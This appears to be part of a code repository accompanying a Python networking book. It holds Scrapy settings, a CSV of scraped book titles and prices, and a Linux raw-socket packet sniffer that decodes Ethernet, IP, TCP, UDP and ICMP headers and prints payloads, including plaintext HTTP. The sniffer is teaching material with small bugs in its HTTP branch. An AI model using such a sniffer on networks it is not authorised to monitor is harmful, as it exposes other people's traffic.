'books.middlewares.MyCustomDownloaderMiddleware': 543, 57 | #} 58 | 59 | # Enable or disable extensions 60 | # See http://scrapy.readthedocs.org/en/latest/topics/extensions.html 61 | #EXTENSIONS = { 62 | # 'scrapy.extensions.telnet.TelnetConsole': None, 63 | #} 64 | 65 | # Configure item pipelines 66 | # See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html 67 | #ITEM_PIPELINES = { 68 | # 'books.pipelines.BooksPipeline': 300, 69 | #} 70 | 71 | # Enable and configure the AutoThrottle extension (disabled by default) 72 | # See http://doc.scrapy.org/en/latest/topics/autothrottle.html 73 | #AUTOTHROTTLE_ENABLED = True 74 | # The initial download delay 75 | #AUTOTHROTTLE_START_DELAY = 5 76 | # The maximum download delay to be set in case of high latencies 77 | #AUTOTHROTTLE_MAX_DELAY = 60 78 | # The average number of requests Scrapy should be sending in parallel to 79 | # each remote server 80 | #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 81 | # Enable showing throttling stats for every response received: 82 | #AUTOTHROTTLE_DEBUG = False 83 | 84 | # Enable and configure HTTP caching (disabled by default) 85 | # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings 86 | #HTTPCACHE_ENABLED = True 87 | #HTTPCACHE_EXPIRATION_SECS = 0 88 | #HTTPCACHE_DIR = 'httpcache' 89 | #HTTPCACHE_IGNORE_HTTP_CODES = [] 90 | #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage' 91 | -------------------------------------------------------------------------------- /Chapter07/basic-packet-sniffer-linux.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import textwrap 4 | 5 | def get_mac_addr(mac_raw): 6 | byte_str = map('{:02x}'.format, mac_raw) 7 | mac_addr = ':'.join(byte_str).upper() 8 | return mac_addr 9 | 10 | 11 | def format_multi_line(prefix, string, size=80): 12 | size -= len(prefix) 13 | if isinstance(string, bytes): 14 | string = ''.join(r'\x{:02x}'.format(byte) for byte in string) 15 | if size % 2: 16 | size -= 1 17 | return '\n'.join([prefix + line for line in textwrap.wrap(string, size)]) 18 | 19 | def ethernet_head(raw_data): 20 | 21 | dest, src, prototype = struct.unpack('! 6s 6s H', raw_data[:14]) 22 | 23 | dest_mac = get_mac_addr(dest) 24 | src_mac = get_mac_addr(src) 25 | proto = socket.htons(prototype) 26 | data = raw_data[14:] 27 | return dest_mac, src_mac, proto, data 28 | 29 | def http(raw_data): 30 | try: 31 | data = raw_data.decode('utf-8') 32 | except: 33 | data = raw_data 34 | return data 35 | 36 | def icmp_head(raw_data): 37 | packet_type, code, checksum = struct.unpack('! B B H', raw_data[:4]) 38 | data = raw_data[4:] 39 | return packet_type, code, checksum, data 40 | 41 | def ipv4_head(raw_data): 42 | version_header_length = raw_data[0] 43 | version = version_header_length >> 4 44 | header_length = (version_header_length & 15) * 4 45 | ttl, proto, src, target = struct.unpack('! 8x B B 2x 4s 4s', raw_data[:20]) 46 | src = get_ip(src) 47 | target = get_ip(target) 48 | data = raw_data[header_length:] 49 | return version_header_length, version, header_length, ttl, proto, src, target, data 50 | 51 | def get_ip(addr): 52 | return '.'.join(map(str, addr)) 53 | 54 | def tcp_head( raw_data): 55 | (src_port, dest_port, sequence, acknowledgment, offset_reserved_flags) = struct.unpack( 56 | '! H H L L H', raw_data[:14]) 57 | offset = (offset_reserved_flags >> 12) * 4 58 | flag_urg = (offset_reserved_flags & 32) >> 5 59 | flag_ack = (offset_reserved_flags & 16) >> 4 60 | flag_psh = (offset_reserved_flags & 8) >> 3 61 | flag_rst = (offset_reserved_flags & 4) >> 2 62 | flag_syn = (offset_reserved_flags & 2) >> 1 63 | flag_fin = offset_reserved_flags & 1 64 | data = raw_data[offset:] 65 | return src_port, dest_port, sequence, acknowledgment, flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin, data 66 | 67 | def udp_head(raw_data): 68 | src_port, dest_port, size = struct.unpack('! H H 2x H', raw_data[:8]) 69 | data = raw_data[8:] 70 | return src_port, dest_port, size, data 71 | 72 | def main(): 73 | s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) 74 | 75 | while True: 76 | raw_data, addr = s.recvfrom(65535) 77 | eth = ethernet_head(raw_data) 78 | print('\nEthernet Frame:') 79 | print('Destination: {}, Source: {}, Protocol: {}'.format(eth[0], eth[1], eth[2])) 80 | 81 | if eth[2] == 8: 82 | ipv4 = ipv4_head(eth[3]) 83 | print('\t -' + 'IPv4 Packet:') 84 | print('\t\t -' + 'Version: {}, Header Length: {}, TTL: {},'.format(ipv4[1], ipv4[2], ipv4[3])) 85 | print('\t\t -' + 'Protocol: {}, Source: {}, Target: {}'.format(ipv4[4], ipv4[5], ipv4[6])) 86 | 87 | # TCP 88 | if ipv4[4] == 6: 89 | tcp = tcp_head(ipv4[7]) 90 | print('\t -' + 'TCP Segment:') 91 | print('\t\t -' + 'Source Port: {}, Destination Port: {}'.format(tcp[0], tcp[1])) 92 | print('\t\t -' + 'Sequence: {}, Acknowledgment: {}'.format(tcp[2], tcp[3])) 93 | print('\t\t -' + 'Flags:') 94 | print('\t\t\t -' + 'URG: {}, ACK: {}, PSH: {}'.format(tcp[4], tcp[5], tcp[6])) 95 | print('\t\t\t -' + 'RST: {}, SYN: {}, FIN:{}'.format(tcp[7], tcp[8], tcp[9])) 96 | 97 | if len(tcp[10]) > 0: 98 | 99 | # HTTP 100 | if tcp[0] == 80 or tcp[1] == 80: 101 | print('\t\t -' + 'HTTP Data:') 102 | try: 103 | http = http(tcp[10]) 104 | http_info = str(http[10]).split('\n') 105 | for line in http_info: 106 | print('\t\t\t' + str(line)) 107 | except: 108 | print(format_multi_line('\t\t\t', tcp[10])) 109 | else: 110 | print('\t\t -' + 'TCP Data:') 111 | print(format_multi_line('\t\t\t', tcp[10])) 112 | 113 | 114 | # ICMP 115 | elif ipv4[4] == 1: 116 | icmp = icmp_head(ipv4[7]) 117 | print('\t -' + 'ICMP Packet:') 118 | print('\t\t -' + 'Type: {}, Code: {}, Checksum: {},'.format(icmp[0], icmp[1], icmp[2])) 119 | print('\t\t -' + 'ICMP Data:') 120 | print(format_multi_line('\t\t\t', icmp[3])) 121 | elif ipv4[4] == 17: 122 | udp = udp_head(ipv4[7]) 123 | print('\t -' + 'UDP Segment:') 124 | print('\t\t -' + 'Source Port: {}, Destination Port: {}, Length: {}'.format(udp[0], udp[1], udp[2])) 125 | 126 | # Other IPv4 127 | else: 128 | print('\t -' + 'Other IPv4 Data:') 129 | print(format_multi_line('\t\t', ipv4[7])) 130 | 131 | else: 132 | print('Ethernet Data:') 133 | print(format_multi_line('\t', eth[3])) 134 | 135 | 136 | 137 | main() 138 | -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/data.csv: -------------------------------------------------------------------------------- 1 | title,price 2 | In Her Wake,£12.84 3 | How Music Works,£37.32 4 | Foolproof Preserving: A Guide ...,£30.52 5 | Chase Me (Paris Nights ...,£25.27 6 | Black Dust,£34.53 7 | Birdsong: A Story in ...,£54.64 8 | America's Cradle of Quarterbacks: ...,£22.50 9 | Aladdin and His Wonderful ...,£53.13 10 | Worlds Elsewhere: Journeys Around ...,£40.30 11 | Wall and Piece,£44.18 12 | The Four Agreements: A ...,£17.66 13 | The Five Love Languages: ...,£31.05 14 | The Elephant Tree,£23.82 15 | The Bear and the ...,£36.89 16 | Sophie's World,£15.94 17 | Penny Maybe,£33.29 18 | Maude (1883-1993):She Grew Up ...,£18.02 19 | "In a Dark, Dark ...",£19.63 20 | Behind Closed Doors,£52.22 21 | You can't bury them ...,£33.63 22 | Slow States of Collapse: ...,£57.31 23 | Reasons to Stay Alive,£26.41 24 | Private Paris (Private #10),£47.61 25 | #HigherSelfie: Wake Up Your ...,£23.11 26 | Without Borders (Wanderlove #1),£45.07 27 | When We Collided,£31.77 28 | "We Love You, Charlie ...",£50.27 29 | Untitled Collection: Sabbath Poems ...,£14.27 30 | Unseen City: The Majesty ...,£44.18 31 | Unicorn Tracks,£18.78 32 | Unbound: How Eight Technologies ...,£25.52 33 | Tsubasa: WoRLD CHRoNiCLE 2 ...,£16.28 34 | Throwing Rocks at the ...,£31.12 35 | This One Summer,£19.49 36 | Thirst,£17.27 37 | The Torch Is Passed: ...,£19.09 38 | The Secret of Dreadwillow ...,£56.13 39 | The Pioneer Woman Cooks: ...,£56.41 40 | The Past Never Ends,£56.50 41 | The Natural History of ...,£45.22 42 | The Nameless City (The ...,£38.16 43 | The Murder That Never ...,£54.11 44 | The Most Perfect Thing: ...,£42.96 45 | The Mindfulness and Acceptance ...,£23.89 46 | The Life-Changing Magic of ...,£16.77 47 | The Inefficiency Assassin: Time ...,£20.59 48 | The Gutsy Girl: Escapades ...,£37.13 49 | The Electric Pencil: Drawings ...,£56.06 50 | The Death of Humanity: ...,£58.11 51 | The Bulletproof Diet: Lose ...,£49.05 52 | The Art Forger,£40.76 53 | The Age of Genius: ...,£19.73 54 | The Activist's Tao Te ...,£32.24 55 | Spark Joy: An Illustrated ...,£41.83 56 | Soul Reader,£39.58 57 | Security,£39.25 58 | "Saga, Volume 6 (Saga ...",£25.02 59 | "Saga, Volume 5 (Saga ...",£51.04 60 | Reskilling America: Learning to ...,£19.83 61 | "Rat Queens, Vol. 3: ...",£50.40 62 | "Princess Jellyfish 2-in-1 Omnibus, ...",£13.61 63 | Princess Between Worlds (Wide-Awake ...,£13.34 64 | "Pop Gun War, Volume ...",£18.97 65 | "Political Suicide: Missteps, Peccadilloes, ...",£36.28 66 | Patience,£10.16 67 | "Outcast, Vol. 1: A ...",£15.44 68 | orange: The Complete Collection ...,£48.41 69 | Online Marketing for Busy ...,£46.35 70 | On a Midnight Clear,£14.07 71 | Obsidian (Lux #1),£14.86 72 | My Paris Kitchen: Recipes ...,£33.37 73 | Masks and Shadows,£56.40 74 | Mama Tried: Traditional Italian ...,£14.02 75 | "Lumberjanes, Vol. 2: Friendship ...",£46.91 76 | "Lumberjanes, Vol. 1: Beware ...",£45.61 77 | Lumberjanes Vol. 3: A ...,£19.92 78 | "Layered: Baking, Building, and ...",£40.11 79 | Judo: Seven Steps to ...,£53.90 80 | Join,£35.67 81 | In the Country We ...,£22.00 82 | Immunity: How Elie Metchnikoff ...,£57.36 83 | "I Hate Fairyland, Vol. ...",£29.17 84 | I am a Hero ...,£54.63 85 | How to Be Miserable: ...,£46.03 86 | Her Backup Boyfriend (The ...,£33.97 87 | "Giant Days, Vol. 2 ...",£22.11 88 | Forever and Forever: The ...,£29.69 89 | First and First (Five ...,£15.97 90 | Fifty Shades Darker (Fifty ...,£21.96 91 | Everydata: The Misinformation Hidden ...,£54.35 92 | Don't Be a Jerk: ...,£37.97 93 | Danganronpa Volume 1,£51.99 94 | Crown of Midnight (Throne ...,£43.29 95 | "Codename Baboushka, Volume 1: ...",£36.72 96 | Camp Midnight,£17.08 97 | Call the Nurse: True ...,£29.14 98 | Burning,£28.81 99 | Bossypants,£49.46 100 | "Bitch Planet, Vol. 1: ...",£37.92 101 | Avatar: The Last Airbender: ...,£28.09 102 | Algorithms to Live By: ...,£30.81 103 | A World of Flavor: ...,£42.95 104 | "A Piece of Sky, ...",£56.76 105 | A Murder in Time,£16.64 106 | A Flight of Arrows ...,£55.53 107 | A Fierce and Subtle ...,£28.13 108 | A Court of Thorns ...,£52.37 109 | (Un)Qualified: How God Uses ...,£54.00 110 | You Are What You ...,£21.87 111 | William Shakespeare's Star Wars: ...,£43.30 112 | Tuesday Nights in 1980,£21.04 113 | Tracing Numbers on a ...,£41.60 114 | Throne of Glass (Throne ...,£35.07 115 | Thomas Jefferson and the ...,£59.64 116 | Thirteen Reasons Why,£52.72 117 | The White Cat and ...,£58.08 118 | The Wedding Dress,£24.12 119 | The Vacationers,£42.15 120 | The Third Wave: An ...,£12.61 121 | The Stranger,£17.44 122 | The Shadow Hero (The ...,£33.14 123 | The Secret (The Secret ...,£27.37 124 | The Regional Office Is ...,£51.36 125 | The Psychopath Test: A ...,£36.00 126 | The Project,£10.65 127 | The Power of Now: ...,£43.54 128 | The Omnivore's Dilemma: A ...,£38.21 129 | The Nerdy Nummies Cookbook: ...,£37.34 130 | The Murder of Roger ...,£44.10 131 | The Mistake (Off-Campus #2),£43.29 132 | The Matchmaker's Playbook (Wingmen ...,£55.85 133 | The Love and Lemons ...,£37.60 134 | The Long Shadow of ...,£10.97 135 | The Kite Runner,£41.82 136 | The House by the ...,£36.95 137 | The Glittering Court (The ...,£44.28 138 | The Girl on the ...,£55.02 139 | The Genius of Birds,£17.24 140 | The Emerald Mystery,£23.15 141 | The Cookies & Cups ...,£41.25 142 | The Bridge to Consciousness: ...,£32.00 143 | The Artist's Way: A ...,£38.49 144 | The Art of War,£33.34 145 | The Argonauts,£10.93 146 | The 10% Entrepreneur: Live ...,£27.55 147 | Suddenly in Love (Lake ...,£55.99 148 | Something More Than This,£16.24 149 | Soft Apocalypse,£26.12 150 | So You've Been Publicly ...,£12.23 151 | Shoe Dog: A Memoir ...,£23.99 152 | "Shobu Samurai, Project Aryoku ...",£29.06 153 | Secrets and Lace (Fatal ...,£20.27 154 | Scarlett Epstein Hates It ...,£43.55 155 | Romero and Juliet: A ...,£36.94 156 | Redeeming Love,£20.47 157 | Poses for Artists Volume ...,£41.06 158 | Poems That Make Grown ...,£14.19 159 | "Nightingale, Sing",£38.28 160 | Night Sky with Exit ...,£41.05 161 | Mrs. Houdini,£30.25 162 | Modern Romance,£28.26 163 | Miss Peregrine’s Home for ...,£10.76 164 | Louisa: The Extraordinary Life ...,£16.85 165 | Little Red,£13.47 166 | Library of Souls (Miss ...,£48.56 167 | Large Print Heart of ...,£19.15 168 | I Had a Nice ...,£57.36 169 | Hollow City (Miss Peregrine’s ...,£42.98 170 | Grumbles,£22.16 171 | Full Moon over Noah’s ...,£49.43 172 | Frostbite (Vampire Academy #2),£29.99 173 | Follow You Home,£21.36 174 | First Steps for New ...,£29.00 175 | Finders Keepers (Bill Hodges ...,£53.53 176 | "Fables, Vol. 1: Legends ...",£41.62 177 | Eureka Trivia 6.0,£54.59 178 | Drive: The Surprising Truth ...,£34.95 179 | Done Rubbed Out (Reightman ...,£37.72 180 | Doing It Over (Most ...,£35.61 181 | Deliciously Ella Every Day: ...,£42.16 182 | Dark Notes,£19.19 183 | Daring Greatly: How the ...,£19.43 184 | Close to You,£49.46 185 | Chasing Heaven: What Dying ...,£37.80 186 | Big Magic: Creative Living ...,£30.80 187 | Becoming Wise: An Inquiry ...,£27.43 188 | Beauty Restored (Riley Family ...,£11.11 189 | Batman: The Long Halloween ...,£36.50 190 | Batman: The Dark Knight ...,£15.38 191 | Ayumi's Violin,£15.48 192 | Anonymous,£46.82 193 | Amy Meets the Saints ...,£18.46 194 | Amid the Chaos,£36.58 195 | Amatus,£50.54 196 | Agnostic: A Spirited Manifesto,£12.51 197 | Zealot: The Life and ...,£24.70 198 | You (You #1),£43.61 199 | "Wonder Woman: Earth One, ...",£37.34 200 | Wild Swans,£14.36 201 | Why the Right Went ...,£52.65 202 | Whole Lotta Creativity Going ...,£38.20 203 | What's It Like in ...,£19.60 204 | "We Are Robin, Vol. ...",£53.90 205 | Walt Disney's Alice in ...,£12.96 206 | V for Vendetta (V ...,£37.10 207 | Until Friday Night (The ...,£46.31 208 | Unbroken: A World War ...,£45.95 209 | Twenty Yawns,£22.08 210 | Through the Woods,£25.38 211 | This Is Where It ...,£27.12 212 | The Year of Magical ...,£43.04 213 | The Wright Brothers,£56.80 214 | The White Queen (The ...,£25.91 215 | The Wedding Pact (The ...,£32.61 216 | The Time Keeper,£27.88 217 | The Testament of Mary,£52.67 218 | The Star-Touched Queen,£46.02 219 | The Songs of the ...,£44.48 220 | The Song of Achilles,£37.40 221 | The Rosie Project (Don ...,£54.04 222 | The Power of Habit: ...,£16.88 223 | The Marriage of Opposites,£28.08 224 | The Lucifer Effect: Understanding ...,£10.40 225 | The Long Haul (Diary ...,£44.07 226 | The Loney,£23.40 227 | The Literature Book (Big ...,£17.43 228 | The Last Mile (Amos ...,£54.21 229 | The Immortal Life of ...,£40.67 230 | The Hidden Oracle (The ...,£52.26 231 | The Help Yourself Cookbook ...,£28.77 232 | The Guilty (Will Robie ...,£13.82 233 | The First Hostage (J.B. ...,£25.85 234 | The Dovekeepers,£48.78 235 | The Darkest Lie,£35.35 236 | The Bane Chronicles (The ...,£44.73 237 | The Bad-Ass Librarians of ...,£15.77 238 | The 14th Colony (Cotton ...,£39.24 239 | That Darkness (Gardiner and ...,£13.92 240 | Tastes Like Fear (DI ...,£10.69 241 | Take Me with You,£45.21 242 | Swell: A Year of ...,£45.58 243 | Superman Vol. 1: Before ...,£11.89 244 | Still Life with Bread ...,£26.41 245 | Steve Jobs,£39.50 246 | Sorting the Beef from ...,£44.74 247 | Someone Like You (The ...,£52.79 248 | "So Cute It Hurts!!, ...",£35.43 249 | Shtum,£55.84 250 | See America: A Celebration ...,£48.87 251 | salt.,£46.78 252 | Robin War,£47.82 253 | "Red Hood/Arsenal, Vol. 1: ...",£25.48 254 | Rain Fish,£23.57 255 | Quarter Life Poetry: Poems ...,£50.89 256 | Pet Sematary,£10.56 257 | "Overload: How to Unplug, ...",£52.15 258 | Once Was a Time,£18.28 259 | Old School (Diary of ...,£11.83 260 | No Dream Is Too ...,£21.95 261 | "Naruto (3-in-1 Edition), Vol. ...",£38.39 262 | My Name Is Lucy ...,£41.56 263 | My Mrs. Brown,£24.48 264 | My Kind of Crazy,£40.36 265 | Mr. Mercedes (Bill Hodges ...,£28.90 266 | More Than Music (Chasing ...,£37.61 267 | Made to Stick: Why ...,£38.85 268 | Luis Paints the World,£53.95 269 | Luckiest Girl Alive,£49.83 270 | Lowriders to the Center ...,£51.51 271 | Love Is a Mix ...,£18.03 272 | Looking for Lovely: Collecting ...,£29.14 273 | Living Leadership by Insight: ...,£46.91 274 | Let It Out: A ...,£26.79 275 | Lady Midnight (The Dark ...,£16.28 276 | "It's All Easy: Healthy, ...",£19.55 277 | Island of Dragons (Unwanteds ...,£29.65 278 | I Know What I'm ...,£25.98 279 | I Am Pilgrim (Pilgrim ...,£10.60 280 | Hyperbole and a Half: ...,£14.75 281 | "Hush, Hush (Hush, Hush ...",£47.02 282 | Hold Your Breath (Search ...,£28.82 283 | Hamilton: The Revolution,£58.79 284 | Greek Mythic History,£10.23 285 | God: The Most Unpleasant ...,£30.03 286 | Glory over Everything: Beyond ...,£45.84 287 | Feathers: Displays of Brilliant ...,£49.05 288 | Far & Away: Places ...,£15.06 289 | Every Last Word,£46.47 290 | Eligible (The Austen Project ...,£27.09 291 | El Deafo,£57.62 292 | Eight Hundred Grapes,£14.39 293 | Eaternity: More than 150 ...,£51.75 294 | "Eat Fat, Get Thin",£54.07 295 | Don't Get Caught,£55.35 296 | Doctor Sleep (The Shining ...,£40.12 297 | Demigods & Magicians: Percy ...,£37.51 298 | Dear Mr. Knightley,£11.21 299 | Daily Fantasy Sports,£36.58 300 | Crazy Love: Overwhelmed by ...,£47.72 301 | Cometh the Hour (The ...,£25.01 302 | Code Name Verity (Code ...,£22.13 303 | Clockwork Angel (The Infernal ...,£44.14 304 | City of Glass (The ...,£56.02 305 | City of Fallen Angels ...,£11.23 306 | City of Bones (The ...,£43.28 307 | City of Ashes (The ...,£47.27 308 | Cell,£20.29 309 | Catching Jordan (Hundred Oaks),£50.83 310 | "Carry On, Warrior: Thoughts ...",£31.85 311 | Carrie,£46.23 312 | Buying In: The Secret ...,£37.80 313 | Brain on Fire: My ...,£49.32 314 | Batman: Europa,£32.01 315 | Barefoot Contessa Back to ...,£28.01 316 | Barefoot Contessa at Home: ...,£50.62 317 | Balloon Animals,£17.03 318 | Art Ops Vol. 1,£48.80 319 | Aristotle and Dante Discover ...,£58.14 320 | Angels Walking (Angels Walking ...,£34.20 321 | Angels & Demons (Robert ...,£51.48 322 | All the Light We ...,£29.87 323 | Adulthood Is a Myth: ...,£10.90 324 | Abstract City,£56.37 325 | A Time of Torment ...,£48.35 326 | A Study in Scarlet ...,£16.73 327 | A Series of Catastrophes ...,£56.48 328 | A People's History of ...,£40.79 329 | A Man Called Ove,£39.72 330 | A Distant Mirror: The ...,£14.58 331 | A Brush of Wings ...,£55.51 332 | 1491: New Revelations of ...,£21.80 333 | "The Three Searches, Meaning, ...",£13.33 334 | Searching for Meaning in ...,£38.73 335 | Rook,£37.86 336 | My Kitchen Year: 136 ...,£11.53 337 | 13 Hours: The Inside ...,£27.06 338 | Will You Won't You ...,£13.86 339 | Tipping Point for Planet ...,£37.55 340 | The Star-Touched Queen,£32.30 341 | The Silent Sister (Riley ...,£46.29 342 | The Midnight Watch: A ...,£26.20 343 | The Lonely City: Adventures ...,£33.26 344 | The Gray Rhino: How ...,£59.15 345 | The Golden Condom: And ...,£39.43 346 | The Epidemic (The Program ...,£14.44 347 | The Dinner Party,£56.54 348 | The Diary of a ...,£59.90 349 | The Children,£11.88 350 | Stars Above (The Lunar ...,£48.05 351 | Snatched: How A Drug ...,£21.21 352 | Raspberry Pi Electronics Projects ...,£49.67 353 | Quench Your Own Thirst: ...,£43.14 354 | Psycho: Sanitarium (Psycho #1.5),£36.97 355 | Poisonous (Max Revere Novels ...,£26.80 356 | One with You (Crossfire ...,£15.71 357 | No Love Allowed (Dodge ...,£54.65 358 | Murder at the 42nd ...,£54.36 359 | Most Wanted,£35.28 360 | "Love, Lies and Spies",£20.55 361 | How to Speak Golf: ...,£58.32 362 | Hide Away (Eve Duncan ...,£11.84 363 | Furiously Happy: A Funny ...,£41.46 364 | Everyday Italian: 125 Simple ...,£20.10 365 | Equal Is Unfair: America's ...,£56.86 366 | Eleanor & Park,£56.51 367 | Dirty (Dive Bar #1),£40.83 368 | Can You Keep a ...,£48.64 369 | Boar Island (Anna Pigeon ...,£59.48 370 | A Paris Apartment,£39.01 371 | A la Mode: 120 ...,£38.77 372 | Troublemaker: Surviving Hollywood and ...,£48.39 373 | The Widow,£27.26 374 | The Sleep Revolution: Transforming ...,£11.68 375 | The Improbability of Love,£59.45 376 | The Art of Startup ...,£21.00 377 | Take Me Home Tonight ...,£53.98 378 | Sleeping Giants (Themis Files ...,£48.74 379 | Setting the World on ...,£21.15 380 | Playing with Fire,£13.71 381 | Off the Hook (Fishing ...,£47.67 382 | Mothering Sunday,£13.34 383 | "Mother, Can You Not?",£16.89 384 | M Train,£27.18 385 | Lilac Girls,£17.28 386 | Lies and Other Acts ...,£45.14 387 | Lab Girl,£40.85 388 | Keep Me Posted,£20.46 389 | It Didn't Start with ...,£56.27 390 | Grey (Fifty Shades #4),£48.49 391 | "Exit, Pursued by a ...",£51.34 392 | Daredevils,£16.34 393 | Cravings: Recipes for What ...,£20.50 394 | Born for This: How ...,£21.59 395 | Arena,£21.36 396 | Adultery,£20.88 397 | A Mother's Reckoning: Living ...,£19.53 398 | A Gentleman's Position (Society ...,£14.75 399 | 11/22/63,£48.48 400 | 10% Happier: How I ...,£24.57 401 | 10-Day Green Smoothie Cleanse: ...,£49.71 402 | Without Shame,£48.27 403 | Watchmen,£58.05 404 | Unlimited Intuition Now,£58.87 405 | Underlying Notes,£11.82 406 | The Shack,£28.03 407 | The New Brand You: ...,£44.05 408 | The Moosewood Cookbook: Recipes ...,£12.34 409 | The Flowers Lied,£16.68 410 | The Fabric of the ...,£55.91 411 | The Book of Mormon,£24.57 412 | The Art and Science ...,£52.98 413 | The Alien Club,£54.40 414 | Suzie Snowflake: One beautiful ...,£54.81 415 | Nap-a-Roo,£25.08 416 | NaNo What Now? Finding ...,£10.41 417 | Modern Day Fables,£47.44 418 | If I Gave You ...,£20.91 419 | "Fruits Basket, Vol. 9 ...",£33.95 420 | Dress Your Family in ...,£43.68 421 | Don't Forget Steven,£33.23 422 | Chernobyl 01:23:40: The Incredible ...,£35.92 423 | Art and Fear: Observations ...,£48.63 424 | A Shard of Ice ...,£56.63 425 | A Hero's Curse (The ...,£50.49 426 | 23 Degrees South: A ...,£35.79 427 | Zero to One: Notes ...,£34.06 428 | Why Not Me?,£17.76 429 | When Breath Becomes Air,£39.36 430 | Vagabonding: An Uncommon Guide ...,£36.94 431 | The Unlikely Pilgrimage of ...,£43.62 432 | The New Drawing on ...,£43.02 433 | "The Midnight Assassin: Panic, ...",£28.45 434 | The Martian (The Martian ...,£41.39 435 | The High Mountains of ...,£51.15 436 | The Grownup,£35.88 437 | The E-Myth Revisited: Why ...,£36.91 438 | South of Sunshine,£28.93 439 | Smarter Faster Better: The ...,£38.89 440 | Silence in the Dark ...,£58.33 441 | Shadows of the Past ...,£39.67 442 | Roller Girl,£14.10 443 | Rising Strong,£21.82 444 | Proofs of God: Classical ...,£54.21 445 | Please Kill Me: The ...,£31.19 446 | Out of Print: City ...,£53.64 447 | My Life Next Door ...,£36.39 448 | Miller's Valley,£58.54 449 | Man's Search for Meaning,£29.48 450 | Love That Boy: What ...,£25.06 451 | Living Forward: A Proven ...,£12.55 452 | Les Fleurs du Mal,£29.04 453 | Left Behind (Left Behind ...,£40.72 454 | Kill 'Em and Leave: ...,£45.05 455 | Kierkegaard: A Christian Missionary ...,£47.13 456 | John Vassos: Industrial Design ...,£20.22 457 | I'll Give You the ...,£56.48 458 | I Will Find You,£44.21 459 | Hystopia: A Novel,£21.96 460 | Howl and Other Poems,£40.45 461 | History of Beauty,£10.29 462 | Heaven is for Real: ...,£52.86 463 | Future Shock (Future Shock ...,£55.65 464 | Ender's Game (The Ender ...,£43.64 465 | Diary of a Citizen ...,£28.41 466 | Death by Leisure: A ...,£37.51 467 | Brilliant Beacons: A History ...,£11.45 468 | Brazen: The Courage to ...,£19.22 469 | Between the World and ...,£56.91 470 | Being Mortal: Medicine and ...,£55.06 471 | A Murder Over a ...,£13.20 472 | 32 Yolks,£53.63 473 | """Most Blessed of the ...",£44.48 474 | You Are a Badass: ...,£12.08 475 | Wildlife of New York: ...,£22.14 476 | What Happened on Beale ...,£25.37 477 | Unreasonable Hope: Finding Faith ...,£46.33 478 | Under the Tuscan Sun,£37.33 479 | Toddlers Are A**holes: It's ...,£25.55 480 | The Year of Living ...,£34.72 481 | The Whale,£35.96 482 | The Story of Art,£41.14 483 | The Origin of Species,£10.01 484 | The Great Gatsby,£36.05 485 | The Good Girl,£49.03 486 | The Glass Castle,£16.24 487 | The Faith of Christopher ...,£39.55 488 | The Drowning Girls,£35.67 489 | The Constant Princess (The ...,£16.62 490 | The Bourne Identity (Jason ...,£42.78 491 | The Bachelor Girl's Guide ...,£52.30 492 | The Art Book,£32.34 493 | The 7 Habits of ...,£33.17 494 | Team of Rivals: The ...,£20.12 495 | Steal Like an Artist: ...,£20.90 496 | "Sit, Stay, Love",£20.90 497 | Sister Dear,£40.20 498 | "Shrunken Treasures: Literary Classics, ...",£52.87 499 | "Rich Dad, Poor Dad",£51.74 500 | Raymie Nightingale,£34.41 501 | Playing from the Heart,£32.38 502 | Nightstruck: A Novel,£50.35 503 | Naturally Lean: 125 Nourishing ...,£11.38 504 | Meternity,£43.58 505 | Memoirs of a Geisha,£49.67 506 | Like Never Before (Walker ...,£28.77 507 | Life of Pi,£13.22 508 | Leave This Song Behind: ...,£51.17 509 | King's Folly (The Kinsman ...,£39.61 510 | John Adams,£57.43 511 | How to Cook Everything ...,£46.01 512 | How to Be a ...,£28.25 513 | Good in Bed (Cannie ...,£37.05 514 | "Fruits Basket, Vol. 7 ...",£19.57 515 | For the Love: Fighting ...,£45.13 516 | Finding God in the ...,£46.64 517 | Every Heart a Doorway ...,£12.16 518 | Delivering the Truth (Quaker ...,£20.89 519 | Counted With the Stars ...,£17.97 520 | "Chronicles, Vol. 1",£52.60 521 | Blue Like Jazz: Nonreligious ...,£25.77 522 | Benjamin Franklin: An American ...,£48.19 523 | At The Existentialist Café: ...,£29.93 524 | A Summer In Europe,£44.34 525 | A Short History of ...,£52.40 526 | A Gathering of Shadows ...,£44.81 527 | The Sound Of Love,£57.84 528 | The Rise and Fall ...,£39.67 529 | The Perks of Being ...,£55.02 530 | The Mysterious Affair at ...,£24.80 531 | The Man Who Mistook ...,£59.45 532 | The Makings of a ...,£31.58 533 | The Joy of Cooking,£43.27 534 | The Invention of Wings,£37.34 535 | The Hobbit (Middle-Earth Universe),£17.80 536 | The Great Railway Bazaar,£30.54 537 | The Golden Compass (His ...,£18.77 538 | The God Delusion,£46.85 539 | The Girl You Left ...,£15.79 540 | The Fellowship of the ...,£10.27 541 | The Collected Poems of ...,£15.42 542 | The Barefoot Contessa Cookbook,£59.92 543 | Tell the Wolves I'm ...,£50.96 544 | Ship Leaves Harbor: Essays ...,£30.60 545 | Pride and Prejudice,£19.27 546 | Musicophilia: Tales of Music ...,£46.58 547 | Mere Christianity,£48.51 548 | Me Before You (Me ...,£19.02 549 | In the Woods (Dublin ...,£38.38 550 | In Cold Blood,£49.98 551 | How to Stop Worrying ...,£46.49 552 | Give It Back,£18.32 553 | "Girl, Interrupted",£42.14 554 | Fun Home: A Family ...,£56.59 555 | "Fruits Basket, Vol. 6 ...",£20.96 556 | Deception Point,£40.32 557 | "Death Note, Vol. 6: ...",£36.39 558 | Catherine the Great: Portrait ...,£58.55 559 | Better Homes and Gardens ...,£39.61 560 | An Unquiet Mind: A ...,£21.30 561 | A Year in Provence ...,£56.88 562 | World Without End (The ...,£32.97 563 | "Will Grayson, Will Grayson ...",£47.31 564 | Why Save the Bankers?: ...,£48.67 565 | Where She Went (If ...,£41.73 566 | What If?: Serious Scientific ...,£53.68 567 | Two Summers,£14.64 568 | This Is Your Brain ...,£38.40 569 | The Secret Garden,£15.08 570 | The Raven King (The ...,£30.57 571 | The Raven Boys (The ...,£57.74 572 | The Power Greens Cookbook: ...,£11.05 573 | The Metamorphosis,£28.58 574 | The Mathews Men: Seven ...,£42.91 